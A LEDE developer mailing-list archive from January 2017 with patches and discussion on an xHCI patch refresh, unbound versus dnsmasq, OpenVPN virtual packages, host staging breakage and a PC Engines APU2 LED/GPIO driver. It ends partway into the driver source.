diff --git a/target/linux/ramips/patches-4.4/0033-xhci-mediatek-support-MTK-xHCI-host-controller.patch b/target/linux/ramips/patches-4.4/0033-xhci-mediatek-support-MTK-xHCI-host-controller.patch
index 76b2d15f1c..6dfb53ea3e 100644
--- a/target/linux/ramips/patches-4.4/0033-xhci-mediatek-support-MTK-xHCI-host-controller.patch
+++ b/target/linux/ramips/patches-4.4/0033-xhci-mediatek-support-MTK-xHCI-host-controller.patch
@@ -1420,7 +1420,7 @@ Signed-off-by: Greg Kroah-Hartman <gregkh at linuxfoundation.org>
  
  /*
   * Returns zero if the TRB isn't in this segment, otherwise it returns the DMA
-@@ -3121,17 +3122,22 @@ static u32 xhci_td_remainder(struct xhci
+@@ -3110,17 +3111,22 @@ static u32 xhci_td_remainder(struct xhci
  {
  	u32 maxp, total_packet_count;
  
@@ -1447,7 +1447,7 @@ Signed-off-by: Greg Kroah-Hartman <gregkh at linuxfoundation.org>
  	/* Queueing functions don't count the current TRB into transferred */
  	return (total_packet_count - ((transferred + trb_buff_len) / maxp));
  }
-@@ -3519,7 +3525,7 @@ int xhci_queue_ctrl_tx(struct xhci_hcd *
+@@ -3508,7 +3514,7 @@ int xhci_queue_ctrl_tx(struct xhci_hcd *
  		field |= 0x1;
  
  	/* xHCI 1.0/1.1 6.4.1.2.1: Transfer Type field */
@@ -1479,7 +1479,7 @@ Signed-off-by: Greg Kroah-Hartman <gregkh at linuxfoundation.org>
  	writel(temp, &xhci->ir_set->irq_control);
  
  	/* Set the HCD state before we enable the irqs */
-@@ -1704,6 +1709,9 @@ int xhci_drop_endpoint(struct usb_hcd *h
+@@ -1691,6 +1696,9 @@ int xhci_drop_endpoint(struct usb_hcd *h
  
  	xhci_endpoint_zero(xhci, xhci->devs[udev->slot_id], ep);
  
@@ -1489,7 +1489,7 @@ Signed-off-by: Greg Kroah-Hartman <gregkh at linuxfoundation.org>
  	xhci_dbg(xhci, "drop ep 0x%x, slot id %d, new drop flags = %#x, new add flags = %#x\n",
  			(unsigned int) ep->desc.bEndpointAddress,
  			udev->slot_id,
-@@ -1799,6 +1807,15 @@ int xhci_add_endpoint(struct usb_hcd *hc
+@@ -1786,6 +1794,15 @@ int xhci_add_endpoint(struct usb_hcd *hc
  		return -ENOMEM;
  	}
  
-- 
2.11.0



From lede-daniel at cshore.thecshore.com  Sat Jan 21 11:30:23 2017
From: lede-daniel at cshore.thecshore.com (Daniel Dickinson)
Date: Sat, 21 Jan 2017 14:30:23 -0500
Subject: [LEDE-DEV] s/dnsmasq/unbound+odhcpd/
In-Reply-To: <CY1PR11MB05888D88AC6B8109F1569F18CC700@CY1PR11MB0588.namprd11.prod.outlook.com>
References: <E851BE24-1440-43D7-B853-7A606E196740@danrl.com>
 <20170120170614.4736b177@danielf.thecshore.com>
 <CY1PR11MB05888D88AC6B8109F1569F18CC700@CY1PR11MB0588.namprd11.prod.outlook.com>
Message-ID: <20170121143023.14dd5792@danielf.thecshore.com>

On Sat, 21 Jan 2017 03:06:36 +0000
Eric Luehrsen <ericluehrsen at hotmail.com> wrote:

> >>>Sound interesting.  Can it do multiple instances?  
> 
> (1) The UCI scripts are not configured for instances, but ...
> 
> (2) It wouldn't be a good idea. Recursive servers keep a lot of
> infrastructure cache with the zone data. This grows with DNSSEC. Lame
> paths (broken DSKEY chains) and slow responding NS with mirrors are
> cached. The memory can be controlled, but at the cost of performance,
> so you want one big one with all the cache, and ...
> 
> (3) There is no need. Unbound 1.6.0 has "views:" which means from a
> zone or IP range, you can restrict what is seen. Two obvious uses: --
> CoffeeShop/Guest WiFi. Guests cannot DNS each other or the coffee
> shop equipment. Firewall prevents access, but why let them enumerate
> it. view: -> (Guest 172.16.20.0/24) -> drop all queries for domain
> "joes-coffee.example.com" view: -> (CoffeeShop172.16.10.0/24) ->
> DHCP-DNS domain "joes-coffee.example.com" and adblock everything so
> employees don't do whatever
> 

Ah! Cool!  I like that solution better anyway!  Probably takes more
code to achieve which is why it's not in dnsmasq...

Is that in the UCI yet, or is that 'it'd be nice, but need
time/resources?'

Regards,

Daniel


From lede-daniel at cshore.thecshore.com  Sat Jan 21 11:44:09 2017
From: lede-daniel at cshore.thecshore.com (Daniel Dickinson)
Date: Sat, 21 Jan 2017 14:44:09 -0500
Subject: [LEDE-DEV] netifd: "bridge: disable IGMP snooping by default"
In-Reply-To: <CY1PR11MB0588DD2328204CBB6D7A42ACCC700@CY1PR11MB0588.namprd11.prod.outlook.com>
References: <CY1PR11MB0588DD2328204CBB6D7A42ACCC700@CY1PR11MB0588.namprd11.prod.outlook.com>
Message-ID: <20170121144409.3881fe69@danielf.thecshore.com>

On Sat, 21 Jan 2017 03:50:50 +0000
Eric Luehrsen <ericluehrsen at hotmail.com> wrote:

> Dave,
> 
> May I quote you for pull requests to achieve "dnsmasq: make DHCPv6
> work in standalone dnsmasq installation":
> https://github.com/lede-project/source/pull/704
> https://github.com/lede-project/source/pull/674
> 

Is there any interest / any effort to use the ISC DHCP server instead
of either dnsmasq and/or odhcpd on bigger devices?  Certainly one of my
back burner projects has the been the whole 'maximum user choice'
thing with things like being able to use the same configs with one's
preferred DNS/DHCP as well as the GNU coreutils and other 'full'
commands instead of busybox for that that wish it.  Basically where
there are other options in open source, allowing users to choose their
poison (since no one solution is perfect for all situations).  Ideally
one could also substitute systemd or openrc.d for procd based init if
one so chooses.  Basically instead of LEDE/OpenWrt being a
one-size-fits-all solution, I'd like to see it be more a build system
that allows you to choose your solutions. (Which is what LEDE name
implies vs. a distribution; LEDE/OpenWrt as a distribution is a
particular set of choices in my view and is actually a separate
project).

Regards,

Daniel


From dave at taht.net  Sat Jan 21 11:51:02 2017
From: dave at taht.net (=?UTF-8?Q?Dave_T=c3=a4ht?=)
Date: Sat, 21 Jan 2017 11:51:02 -0800
Subject: [LEDE-DEV] netifd: "bridge: disable IGMP snooping by default"
In-Reply-To: <20170121144409.3881fe69@danielf.thecshore.com>
References: <CY1PR11MB0588DD2328204CBB6D7A42ACCC700@CY1PR11MB0588.namprd11.prod.outlook.com>
 <20170121144409.3881fe69@danielf.thecshore.com>
Message-ID: <c033a228-22b0-c023-bb72-548ce1476003@taht.net>



On 1/21/17 11:44 AM, Daniel Dickinson wrote:
> On Sat, 21 Jan 2017 03:50:50 +0000
> Eric Luehrsen <ericluehrsen at hotmail.com> wrote:
> 
>> Dave,
>>
>> May I quote you for pull requests to achieve "dnsmasq: make DHCPv6
>> work in standalone dnsmasq installation":
>> https://github.com/lede-project/source/pull/704
>> https://github.com/lede-project/source/pull/674

goforit

>>
> 
> Is there any interest / any effort to use the ISC DHCP server instead
> of either dnsmasq and/or odhcpd on bigger devices?  Certainly one of my
> back burner projects has the been the whole 'maximum user choice'
> thing with things like being able to use the same configs with one's
> preferred DNS/DHCP as well as the GNU coreutils and other 'full'
> commands instead of busybox for that that wish it.  Basically where
> there are other options in open source, allowing users to choose their
> poison (since no one solution is perfect for all situations).  Ideally
> one could also substitute systemd or openrc.d for procd based init if
> one so chooses.  Basically instead of LEDE/OpenWrt being a
> one-size-fits-all solution, I'd like to see it be more a build system
> that allows you to choose your solutions. (Which is what LEDE name
> implies vs. a distribution; LEDE/OpenWrt as a distribution is a
> particular set of choices in my view and is actually a separate
> project).

I'd like to have a one size fits all solution that works in all cases,
and to expend the effort to make it perfect. That said, well...

I know this guy (cc'd) that regulary runs the isc stuff on his openwrt
boxes.....


> 
> Regards,
> 
> Daniel
> 
> _______________________________________________
> Lede-dev mailing list
> Lede-dev at lists.infradead.org
> http://lists.infradead.org/mailman/listinfo/lede-dev
> 


From lede-daniel at cshore.thecshore.com  Sat Jan 21 12:19:02 2017
From: lede-daniel at cshore.thecshore.com (Daniel Dickinson)
Date: Sat, 21 Jan 2017 15:19:02 -0500
Subject: [LEDE-DEV] target-specific defaults
In-Reply-To: <20160731112821.GB1718@makrotopia.org>
References: <20160731112821.GB1718@makrotopia.org>
Message-ID: <20170121151902.14831868@danielf.thecshore.com>

On Sun, 31 Jul 2016 13:28:24 +0200
Daniel Golle <daniel at makrotopia.org> wrote:

> hi!
> 
> i believe that on some targets it would be nice to have cgroups,
> namespaces, seccomp and misc stuff needed for LXC as well as systemd-
> based guests enabled by default.
> currently there is only a single default for those CONFIG_KERNEL_*
> symbols and changing Config-kernel.in to have them selected on
> specific targets feels like the wrong place.
> thus my question: can we introduce FEATURE flags similar to low_mem
> and small_flash, such as massive_ram and abundant_flash to indicate
> that it doesn't make sense to be too stingy on specific (sub-)target?
> could the present of such FEATURE flags influence the defaults in
> config/Config-*.in?
> on another page this infrastructure could also be done via DEVICE_TYPE
> (see target.mk), however, that assumes that all devices of a specific
> target belong to the same type, which isn't true e.g. on mvebu which
> is commonly used for routers as well as NAS devices ranging from a
> few megs of SPI NOR up to hundreds of megs of NAND.
> 
> what do you think? i reckon there are also other places where defaults
> should diverge e.g. for having debugging stuff built-in by default or
> have more generous busybox defaults.
> 

I agree totally.  Another possible inclusion are the POSIX ACL stuff
(which actually is not very big and even an 8/128 router handles it
fine).

Regards,

Daniel


From lede-daniel at cshore.thecshore.com  Sat Jan 21 13:14:27 2017
From: lede-daniel at cshore.thecshore.com (Daniel Dickinson)
Date: Sat, 21 Jan 2017 16:14:27 -0500
Subject: [LEDE-DEV] Host staging changes breaking packages feed
Message-ID: <20170121161427.2749238a@danielf.thecshore.com>

Hi all,

The recent host staging changes are causing breakage in the packages
feed, advising packages folks of how to fix that is needed (or if a
core fix is needed, doing that).

Regards,

Daniel


From patrick at vorlicek.de  Sat Jan 21 15:05:14 2017
From: patrick at vorlicek.de (Patrick Vorlicek)
Date: Sun, 22 Jan 2017 00:05:14 +0100
Subject: [LEDE-DEV] Host staging changes breaking packages feed
In-Reply-To: <20170121161427.2749238a@danielf.thecshore.com>
References: <20170121161427.2749238a@danielf.thecshore.com>
Message-ID: <ba1d467b-820a-72fc-4ec8-10934dc2eb6f@vorlicek.de>

I also just noticed this problem with the php7 package with libxml2 
enabled. As a workaround I replaced $(STAGING_DIR_HOSTPKG) with 
$(STAGING_DIR)/host in the Makefile.

Am 21.01.2017 um 22:14 schrieb Daniel Dickinson:
> Hi all,
>
> The recent host staging changes are causing breakage in the packages
> feed, advising packages folks of how to fix that is needed (or if a
> core fix is needed, doing that).
>
> Regards,
>
> Daniel
>
> _______________________________________________
> Lede-dev mailing list
> Lede-dev at lists.infradead.org
> http://lists.infradead.org/mailman/listinfo/lede-dev


-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/pkcs7-signature
Size: 4483 bytes
Desc: S/MIME Cryptographic Signature
URL: <http://lists.infradead.org/pipermail/lede-dev/attachments/20170122/ef806f2e/attachment.p7s>

From devel-sven at geroedel.de  Sat Jan 21 15:48:08 2017
From: devel-sven at geroedel.de (Sven Roederer)
Date: Sun, 22 Jan 2017 00:48:08 +0100
Subject: [LEDE-DEV] [PATCH] openvpn: ssl-enabled variants also provide a
 virtual openvpn-x509 package
Message-ID: <1485042488-7316-1-git-send-email-devel-sven@geroedel.de>

When relying on x.509 certs for auth don't use package openvpn-nossl. Just
have your package depend on openvpn-x509 to have SSL enabled in OpenVPN.
If x.509 is not a must, use virtual packge openvpn, which is provided by
all OpenVPN-variants.

Signed-off-by: Sven Roederer <devel-sven at geroedel.de>
---
 package/network/services/openvpn/Makefile | 8 ++++++--
 1 file changed, 6 insertions(+), 2 deletions(-)

diff --git a/package/network/services/openvpn/Makefile b/package/network/services/openvpn/Makefile
index 80aab0b..575feed 100644
--- a/package/network/services/openvpn/Makefile
+++ b/package/network/services/openvpn/Makefile
@@ -1,5 +1,5 @@
 #
-# Copyright (C) 2010-2015 OpenWrt.org
+# Copyright (C) 2010-2017 LEDE-project.org
 #
 # This is free software, licensed under the GNU General Public License v2.
 # See /LICENSE for more information.
@@ -10,7 +10,7 @@ include $(TOPDIR)/rules.mk
 PKG_NAME:=openvpn
 
 PKG_VERSION:=2.4.0
-PKG_RELEASE:=2
+PKG_RELEASE:=3
 
 PKG_SOURCE_URL:=http://swupdate.openvpn.net/community/releases
 PKG_SOURCE:=$(PKG_NAME)-$(PKG_VERSION).tar.xz
@@ -34,7 +34,11 @@ define Package/openvpn/Default
   MENU:=1
   DEPENDS:=+kmod-tun +OPENVPN_$(1)_ENABLE_LZO:liblzo +OPENVPN_$(1)_ENABLE_IPROUTE2:ip $(3)
   VARIANT:=$(1)
+ifeq ($(1),nossl)
   PROVIDES:=openvpn
+else
+  PROVIDES:=openvpn openvpn-x509
+endif
   MAINTAINER:=Mirko Vogt <mirko at openwrt.org>
 endef
 
-- 
2.1.4



From ericluehrsen at hotmail.com  Sat Jan 21 19:39:49 2017
From: ericluehrsen at hotmail.com (Eric Luehrsen)
Date: Sun, 22 Jan 2017 03:39:49 +0000
Subject: [LEDE-DEV] s/dnsmasq/unbound+odhcpd/
In-Reply-To: <20170121143023.14dd5792@danielf.thecshore.com>
References: <E851BE24-1440-43D7-B853-7A606E196740@danrl.com>
 <20170120170614.4736b177@danielf.thecshore.com>
 <CY1PR11MB05888D88AC6B8109F1569F18CC700@CY1PR11MB0588.namprd11.prod.outlook.com>,
 <20170121143023.14dd5792@danielf.thecshore.com>
Message-ID: <CY1PR11MB05883770E457D18D9BC73ABFCC730@CY1PR11MB0588.namprd11.prod.outlook.com>

Its more of having time to gather common wants and establish sane limits on the scope. Stuff like this can get out of control in feature creep. Good structure is necessary for future maintenance and LuCI. Also its a new feature in 1.6.0 and I want to test it manually first and have yay/nay reports from others.
- Eric

From zajec5 at gmail.com  Sun Jan 22 00:09:59 2017
From: zajec5 at gmail.com (=?UTF-8?B?UmFmYcWCIE1pxYJlY2tp?=)
Date: Sun, 22 Jan 2017 09:09:59 +0100
Subject: [LEDE-DEV] [PATCH] openvpn: ssl-enabled variants also provide a
 virtual openvpn-x509 package
In-Reply-To: <1485042488-7316-1-git-send-email-devel-sven@geroedel.de>
References: <1485042488-7316-1-git-send-email-devel-sven@geroedel.de>
Message-ID: <CACna6ryW_J5MawKx9X89JGa=UotYEcR=+UU7FvB8_1zjEqipwQ@mail.gmail.com>

On 22 January 2017 at 00:48, Sven Roederer <devel-sven at geroedel.de> wrote:
> When relying on x.509 certs for auth don't use package openvpn-nossl. Just
> have your package depend on openvpn-x509 to have SSL enabled in OpenVPN.
> If x.509 is not a must, use virtual packge openvpn, which is provided by
> all OpenVPN-variants.
>
> Signed-off-by: Sven Roederer <devel-sven at geroedel.de>
> ---
>  package/network/services/openvpn/Makefile | 8 ++++++--
>  1 file changed, 6 insertions(+), 2 deletions(-)
>
> diff --git a/package/network/services/openvpn/Makefile b/package/network/services/openvpn/Makefile
> index 80aab0b..575feed 100644
> --- a/package/network/services/openvpn/Makefile
> +++ b/package/network/services/openvpn/Makefile
> @@ -1,5 +1,5 @@
>  #
> -# Copyright (C) 2010-2015 OpenWrt.org
> +# Copyright (C) 2010-2017 LEDE-project.org

Are you sure you know what the copyrights are? Not to mention I'm not
aware of your contract with LEDE organization which AFAIK don't even
exist.


From mirko at openwrt.org  Sun Jan 22 03:35:18 2017
From: mirko at openwrt.org (Mirko Vogt)
Date: Sun, 22 Jan 2017 12:35:18 +0100
Subject: [LEDE-DEV] [PATCH] openvpn: ssl-enabled variants also provide a
 virtual openvpn-x509 package
In-Reply-To: <1485042488-7316-1-git-send-email-devel-sven@geroedel.de>
References: <1485042488-7316-1-git-send-email-devel-sven@geroedel.de>
Message-ID: <41b0e30e-2408-aa11-de38-4d8e5271b9cf@openwrt.org>

On 01/22/2017 12:48 AM, Sven Roederer wrote:
> +ifeq ($(1),nossl)
>    PROVIDES:=openvpn
> +else
> +  PROVIDES:=openvpn openvpn-x509
> +endif
>    MAINTAINER:=Mirko Vogt <mirko at openwrt.org>
>  endef

Apart from the Copyright change - and it's not about OpenWrt vs. LEDE -
SSL support is also needed for preshared keys, which have nothing to do
with x509.


From devel-sven at geroedel.de  Sun Jan 22 06:04:05 2017
From: devel-sven at geroedel.de (Sven Roederer)
Date: Sun, 22 Jan 2017 15:04:05 +0100
Subject: [LEDE-DEV] [PATCH] openvpn: ssl-enabled variants also provide a
 virtual openvpn-x509 package
In-Reply-To: <41b0e30e-2408-aa11-de38-4d8e5271b9cf@openwrt.org>
References: <1485042488-7316-1-git-send-email-devel-sven@geroedel.de>
 <41b0e30e-2408-aa11-de38-4d8e5271b9cf@openwrt.org>
Message-ID: <3076663.tsron0pBOf@strike>

Am Sonntag, 22. Januar 2017, 12:35:18 CET schrieb Mirko Vogt:
> On 01/22/2017 12:48 AM, Sven Roederer wrote:
> > 
> > +else
> > +  PROVIDES:=openvpn openvpn-x509
> > +endif
> > 
> 
> Apart from the Copyright change - and it's not about OpenWrt vs. LEDE -
> SSL support is also needed for preshared keys, which have nothing to do
> with x509.
> 

So you suggest something like "openvpn-crypto", similar to the configure-
options "--enable-ssl --enable-crypto"?



From devel-sven at geroedel.de  Sun Jan 22 06:06:21 2017
From: devel-sven at geroedel.de (Sven Roederer)
Date: Sun, 22 Jan 2017 15:06:21 +0100
Subject: [LEDE-DEV] [PATCH] openvpn: ssl-enabled variants also provide a
 virtual openvpn-x509 package
In-Reply-To: <CACna6ryW_J5MawKx9X89JGa=UotYEcR=+UU7FvB8_1zjEqipwQ@mail.gmail.com>
References: <1485042488-7316-1-git-send-email-devel-sven@geroedel.de>
 <CACna6ryW_J5MawKx9X89JGa=UotYEcR=+UU7FvB8_1zjEqipwQ@mail.gmail.com>
Message-ID: <2044705.NJI2ChMdLg@strike>

Am Sonntag, 22. Januar 2017, 09:09:59 CET schrieb Rafa? Mi?ecki:
> Are you sure you know what the copyrights are? Not to mention I'm not
> aware of your contract with LEDE organization which AFAIK don't even
> exist.

I'm ok with leaving it as it'S now "Copyright (C) 2010-2015 OpenWrt.org" ...


From jo at mein.io  Sun Jan 22 07:21:35 2017
From: jo at mein.io (Jo-Philipp Wich)
Date: Sun, 22 Jan 2017 16:21:35 +0100
Subject: [LEDE-DEV] [PATCH] openvpn: ssl-enabled variants also provide a
 virtual openvpn-x509 package
In-Reply-To: <3076663.tsron0pBOf@strike>
References: <1485042488-7316-1-git-send-email-devel-sven@geroedel.de>
 <41b0e30e-2408-aa11-de38-4d8e5271b9cf@openwrt.org>
 <3076663.tsron0pBOf@strike>
Message-ID: <7844de9b-fea9-89ed-b69a-7983c59e46eb@mein.io>

Hi.

> So you suggest something like "openvpn-crypto", similar to the configure-
> options "--enable-ssl --enable-crypto"?

Yep, that would make sense.

~ Jo

-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 819 bytes
Desc: OpenPGP digital signature
URL: <http://lists.infradead.org/pipermail/lede-dev/attachments/20170122/5dd9df9d/attachment.sig>

From devel-sven at geroedel.de  Sun Jan 22 10:00:51 2017
From: devel-sven at geroedel.de (Sven Roederer)
Date: Sun, 22 Jan 2017 19:00:51 +0100
Subject: [LEDE-DEV] [PATCH v2] openvpn: ssl-enabled variants also provide a
 virtual openvpn-crypto package
In-Reply-To: <7844de9b-fea9-89ed-b69a-7983c59e46eb@mein.io>
References: <7844de9b-fea9-89ed-b69a-7983c59e46eb@mein.io>
Message-ID: <1485108051-322-1-git-send-email-devel-sven@geroedel.de>

When relying on x.509 certs for auth and / or encryption of traffic you can't
use package openvpn-nossl.
Just have your package depend on openvpn-crypto to have SSL-encryption and
X.509-support enabled in OpenVPN. If encryption / X.509 is not a must, use
virtual packge openvpn, which is provided by all OpenVPN-variants.

Signed-off-by: Sven Roederer <devel-sven at geroedel.de>
---
 package/network/services/openvpn/Makefile | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/package/network/services/openvpn/Makefile b/package/network/services/openvpn/Makefile
index 80aab0b..7507e20 100644
--- a/package/network/services/openvpn/Makefile
+++ b/package/network/services/openvpn/Makefile
@@ -10,7 +10,7 @@ include $(TOPDIR)/rules.mk
 PKG_NAME:=openvpn
 
 PKG_VERSION:=2.4.0
-PKG_RELEASE:=2
+PKG_RELEASE:=3
 
 PKG_SOURCE_URL:=http://swupdate.openvpn.net/community/releases
 PKG_SOURCE:=$(PKG_NAME)-$(PKG_VERSION).tar.xz
@@ -34,7 +34,11 @@ define Package/openvpn/Default
   MENU:=1
   DEPENDS:=+kmod-tun +OPENVPN_$(1)_ENABLE_LZO:liblzo +OPENVPN_$(1)_ENABLE_IPROUTE2:ip $(3)
   VARIANT:=$(1)
+ifeq ($(1),nossl)
   PROVIDES:=openvpn
+else
+  PROVIDES:=openvpn openvpn-crypto
+endif
   MAINTAINER:=Mirko Vogt <mirko at openwrt.org>
 endef
 
-- 
2.1.4



From devel-sven at geroedel.de  Sun Jan 22 11:14:03 2017
From: devel-sven at geroedel.de (Sven Roederer)
Date: Sun, 22 Jan 2017 20:14:03 +0100
Subject: [LEDE-DEV] [PATCH v2] openvpn: ssl-enabled variants also
 provide a virtual openvpn-crypto package
In-Reply-To: <1485108051-322-1-git-send-email-devel-sven@geroedel.de>
References: <7844de9b-fea9-89ed-b69a-7983c59e46eb@mein.io>
 <1485108051-322-1-git-send-email-devel-sven@geroedel.de>
Message-ID: <9521886.CX8gZfdUYl@strike>

Am Sonntag, 22. Januar 2017, 19:00:51 CET schrieb Sven Roederer:
> When relying on x.509 certs for auth and / or encryption of traffic you
> can't use package openvpn-nossl.
> Just have your package depend on openvpn-crypto to have SSL-encryption and
> X.509-support enabled in OpenVPN. If encryption / X.509 is not a must, use
> virtual packge openvpn, which is provided by all OpenVPN-variants.
> 

For some reason it's not updating in patchwork (think as of the changed 
subject), but I hope this is good to go.
And can even go into 17.01.

Sven


From chrisrblake93 at gmail.com  Mon Jan 23 00:12:33 2017
From: chrisrblake93 at gmail.com (Chris Blake)
Date: Mon, 23 Jan 2017 02:12:33 -0600
Subject: [LEDE-DEV] [PATCH 0/3] Add GPIO/LED Support for the PC Engines
 APU2/APU3
Message-ID: <1485159156-18665-1-git-send-email-chrisrblake93@gmail.com>

The following series of patches are to help add support for the PC Engines APU2/APU3 board within LEDE. Specifically, these patches enable support for the Super IO GPIO controller (nct5104d), as well as the front LEDs and reset button.

Chris Blake (3):
  x86/64: Enable GPIO sysfs & GPIO LED support
  gpio-nct5104d: Add nct5104d driver package
  leds-apu2: Add PC Engines APU2 LED driver

 package/kernel/gpio-nct5104d/Makefile            |  52 +++
 package/kernel/gpio-nct5104d/src/Kconfig         |   5 +
 package/kernel/gpio-nct5104d/src/Makefile        |   1 +
 package/kernel/gpio-nct5104d/src/gpio-nct5104d.c | 461 +++++++++++++++++++++++
 package/kernel/leds-apu2/Makefile                |  52 +++
 package/kernel/leds-apu2/src/Kconfig             |   8 +
 package/kernel/leds-apu2/src/Makefile            |   1 +
 package/kernel/leds-apu2/src/leds-apu2.c         | 374 ++++++++++++++++++
 target/linux/x86/64/config-default               |   9 +
 9 files changed, 963 insertions(+)
 create mode 100644 package/kernel/gpio-nct5104d/Makefile
 create mode 100644 package/kernel/gpio-nct5104d/src/Kconfig
 create mode 100644 package/kernel/gpio-nct5104d/src/Makefile
 create mode 100644 package/kernel/gpio-nct5104d/src/gpio-nct5104d.c
 create mode 100644 package/kernel/leds-apu2/Makefile
 create mode 100644 package/kernel/leds-apu2/src/Kconfig
 create mode 100644 package/kernel/leds-apu2/src/Makefile
 create mode 100644 package/kernel/leds-apu2/src/leds-apu2.c

--
2.7.4


From chrisrblake93 at gmail.com  Mon Jan 23 00:12:34 2017
From: chrisrblake93 at gmail.com (Chris Blake)
Date: Mon, 23 Jan 2017 02:12:34 -0600
Subject: [LEDE-DEV] [PATCH 1/3] x86/64: Enable GPIO sysfs & GPIO LED support
In-Reply-To: <1485159156-18665-1-git-send-email-chrisrblake93@gmail.com>
References: <1485159156-18665-1-git-send-email-chrisrblake93@gmail.com>
Message-ID: <1485159156-18665-2-git-send-email-chrisrblake93@gmail.com>

The following changes enables GPIO sysfs as well as the LEDS_GPIO option
within the kernel. This is required to enable LEDs over a GPIO
interface.

Signed-off-by: Chris Blake <chrisrblake93 at gmail.com>
---
 target/linux/x86/64/config-default | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/target/linux/x86/64/config-default b/target/linux/x86/64/config-default
index 791c1f2..848f041 100644
--- a/target/linux/x86/64/config-default
+++ b/target/linux/x86/64/config-default
@@ -109,6 +109,14 @@ CONFIG_GART_IOMMU=y
 CONFIG_GENERIC_BUG_RELATIVE_POINTERS=y
 CONFIG_GENERIC_CPU=y
 CONFIG_GENERIC_PENDING_IRQ=y
+CONFIG_GPIOLIB=y
+# CONFIG_GPIO_104_IDIO_16 is not set
+# CONFIG_GPIO_AMDPT is not set
+# CONFIG_GPIO_F7188X is not set
+# CONFIG_GPIO_INTEL_MID is not set
+# CONFIG_GPIO_IT87 is not set
+# CONFIG_GPIO_LYNXPOINT is not set
+CONFIG_GPIO_SYSFS=y
 CONFIG_HAVE_ACPI_APEI=y
 CONFIG_HAVE_ACPI_APEI_NMI=y
 # CONFIG_HAVE_AOUT is not set
@@ -161,6 +169,7 @@ CONFIG_ITCO_WDT=y
 # CONFIG_KVM_DEBUG_FS is not set
 CONFIG_KVM_GUEST=y
 # CONFIG_LCD_CLASS_DEVICE is not set
+CONFIG_LEDS_GPIO=y
 # CONFIG_LEGACY_VSYSCALL_EMULATE is not set
 # CONFIG_LEGACY_VSYSCALL_NATIVE is not set
 CONFIG_LEGACY_VSYSCALL_NONE=y
--
2.7.4


From chrisrblake93 at gmail.com  Mon Jan 23 00:12:36 2017
From: chrisrblake93 at gmail.com (Chris Blake)
Date: Mon, 23 Jan 2017 02:12:36 -0600
Subject: [LEDE-DEV] [PATCH 3/3] leds-apu2: Add PC Engines APU2 LED driver
In-Reply-To: <1485159156-18665-1-git-send-email-chrisrblake93@gmail.com>
References: <1485159156-18665-1-git-send-email-chrisrblake93@gmail.com>
Message-ID: <1485159156-18665-4-git-send-email-chrisrblake93@gmail.com>

This adds support for the PCB LEDs and Reset Button found on the PC
Engines APU2/APU3 embedded boards.

Signed-off-by: Chris Blake <chrisrblake93 at gmail.com>
---
 package/kernel/leds-apu2/Makefile        |  52 +++++
 package/kernel/leds-apu2/src/Kconfig     |   8 +
 package/kernel/leds-apu2/src/Makefile    |   1 +
 package/kernel/leds-apu2/src/leds-apu2.c | 374 +++++++++++++++++++++++++++++++
 4 files changed, 435 insertions(+)
 create mode 100644 package/kernel/leds-apu2/Makefile
 create mode 100644 package/kernel/leds-apu2/src/Kconfig
 create mode 100644 package/kernel/leds-apu2/src/Makefile
 create mode 100644 package/kernel/leds-apu2/src/leds-apu2.c

diff --git a/package/kernel/leds-apu2/Makefile b/package/kernel/leds-apu2/Makefile
new file mode 100644
index 0000000..bab2315
--- /dev/null
+++ b/package/kernel/leds-apu2/Makefile
@@ -0,0 +1,52 @@
+#
+# Copyright (C) 2017 Chris Blake <chrisrblake93 at gmail.com>
+#
+# This is free software, licensed under the GNU General Public License v2.
+# See /LICENSE for more information.
+#
+
+include $(TOPDIR)/rules.mk
+include $(INCLUDE_DIR)/kernel.mk
+
+PKG_NAME:=leds-apu2
+PKG_RELEASE:=1
+
+PKG_MAINTAINER:=Chris Blake <chrisrblake93 at gmail.com>
+PKG_LICENSE:=GPL-2.0
+
+include $(INCLUDE_DIR)/package.mk
+
+define KernelPackage/leds-apu2
+  SUBMENU:=LED modules
+  TITLE:= PC Engines APU2/APU3 LED support
+  DEPENDS:= @GPIO_SUPPORT @TARGET_x86
+  FILES:=$(PKG_BUILD_DIR)/leds-apu2.ko
+  AUTOLOAD:=$(call AutoLoad,41,leds-apu2,1)
+  KCONFIG:=
+endef
+
+define KernelPackage/leds-apu2/description
+  Driver for the PC Engines APU2/APU3 LEDs & Reset Button.
+endef
+
+EXTRA_KCONFIG:= \
+	CONFIG_LEDS_APU2=m
+
+EXTRA_CFLAGS:= \
+	$(patsubst CONFIG_%, -DCONFIG_%=1, $(patsubst %=m,%,$(filter %=m,$(EXTRA_KCONFIG)))) \
+	$(patsubst CONFIG_%, -DCONFIG_%=1, $(patsubst %=y,%,$(filter %=y,$(EXTRA_KCONFIG)))) \
+
+MAKE_OPTS:= \
+	ARCH="$(LINUX_KARCH)" \
+	CROSS_COMPILE="$(TARGET_CROSS)" \
+	SUBDIRS="$(PKG_BUILD_DIR)" \
+	EXTRA_CFLAGS="$(EXTRA_CFLAGS)" \
+	$(EXTRA_KCONFIG)
+
+define Build/Compile
+	 $(MAKE) -C "$(LINUX_DIR)" \
+		$(MAKE_OPTS) \
+		modules
+endef
+
+$(eval $(call KernelPackage,leds-apu2))
diff --git a/package/kernel/leds-apu2/src/Kconfig b/package/kernel/leds-apu2/src/Kconfig
new file mode 100644
index 0000000..d0ad5be
--- /dev/null
+++ b/package/kernel/leds-apu2/src/Kconfig
@@ -0,0 +1,8 @@
+config LEDS_APU2
+        tristate "PC Engines APU2/APU3 LED support"
+        depends on LEDS_CLASS
+        depends on LEDS_GPIO
+        depends on GPIOLIB
+        help
+          Say yes here to enable support for the CPU GPIO pins on the PC Engines
+          APU2/APU3 board, which enables the front LEDs and Reset Button.
diff --git a/package/kernel/leds-apu2/src/Makefile b/package/kernel/leds-apu2/src/Makefile
new file mode 100644
index 0000000..4f77b39
--- /dev/null
+++ b/package/kernel/leds-apu2/src/Makefile
@@ -0,0 +1 @@
+obj-${CONFIG_LEDS_APU2}    += leds-apu2.o
diff --git a/package/kernel/leds-apu2/src/leds-apu2.c b/package/kernel/leds-apu2/src/leds-apu2.c
new file mode 100644
index 0000000..8da8a2d
--- /dev/null
+++ b/package/kernel/leds-apu2/src/leds-apu2.c
@@ -0,0 +1,374 @@
+/*
+ *  APU2 LED/GPIO Driver
+ *  Copyright (c) 2016 Christian Lamparter <chunkeey (at) googlemail.com>
+ *
